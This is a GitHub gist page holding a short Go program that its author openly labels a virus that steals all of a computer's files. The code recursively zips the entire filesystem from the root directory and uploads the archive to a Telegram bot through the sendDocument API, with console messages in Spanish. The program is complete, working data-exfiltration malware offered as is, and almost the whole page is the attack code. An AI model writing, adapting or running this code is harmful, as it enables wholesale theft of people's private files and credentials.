Skip to content

Instantly share code, notes, and snippets.

@arturo-source
Last active January 28, 2023 12:43
Show Gist options
  • Save arturo-source/695d04434c274104933e635c5f337b13 to your computer and use it in GitHub Desktop.
Save arturo-source/695d04434c274104933e635c5f337b13 to your computer and use it in GitHub Desktop.
Virus that stoles all your files from the computer.
package main
import (
"archive/zip"
"bytes"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"strings"
)
// From https://stackoverflow.com/a/49057861
func RecursiveZip(pathToZip string, w io.Writer) error {
myZip := zip.NewWriter(w)
err := filepath.Walk(pathToZip, func(filePath string, info os.FileInfo, err error) error {
if info.IsDir() {
return nil
}
if err != nil {
return err
}
relPath := strings.TrimPrefix(filePath, filepath.Dir(pathToZip))
zipFile, err := myZip.Create(relPath)
if err != nil {
return err
}
fsFile, err := os.Open(filePath)
if err != nil {
return err
}
_, err = io.Copy(zipFile, fsFile)
return err
})
if err != nil {
return err
}
err = myZip.Close()
return err
}
func SendFile(w io.Reader) error {
token := os.Getenv("TELEGRAM_TOKEN")
chatID := os.Getenv("TELEGRAM_CHAT_ID")
if token == "" || chatID == "" {
return fmt.Errorf("TELEGRAM_TOKEN or TELEGRAM_CHAT_ID not set")
}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", token)
req, err := MultipartFormDataFromFile(w, url, chatID)
if err != nil {
return err
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
// you could do some funny things with body response, like this:
bodyBytes, err := io.ReadAll(resp.Body)
fmt.Println(string(bodyBytes))
return nil
}
func MultipartFormDataFromFile(w io.Reader, url, chatID string) (*http.Request, error) {
filename := "data.zip"
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile("document", filename)
if err != nil {
return nil, err
}
_, err = io.Copy(part, w)
if err != nil {
return nil, err
}
part, err = writer.CreateFormField("chat_id")
if err != nil {
return nil, err
}
_, err = io.Copy(part, strings.NewReader(chatID))
if err != nil {
return nil, err
}
err = writer.Close()
if err != nil {
return nil, err
}
req, err := http.NewRequest("POST", url, body)
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
return req, nil
}
func main() {
buff := new(bytes.Buffer)
// agnostic to the OS
rootPath := filepath.Dir("/")
fmt.Println("Comprimiendo todo el contenido de ", rootPath)
err := RecursiveZip(rootPath, buff)
if err != nil {
panic(err)
}
fmt.Println("Enviando el archivo por Telegram")
err = SendFile(buff)
if err != nil {
panic(err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment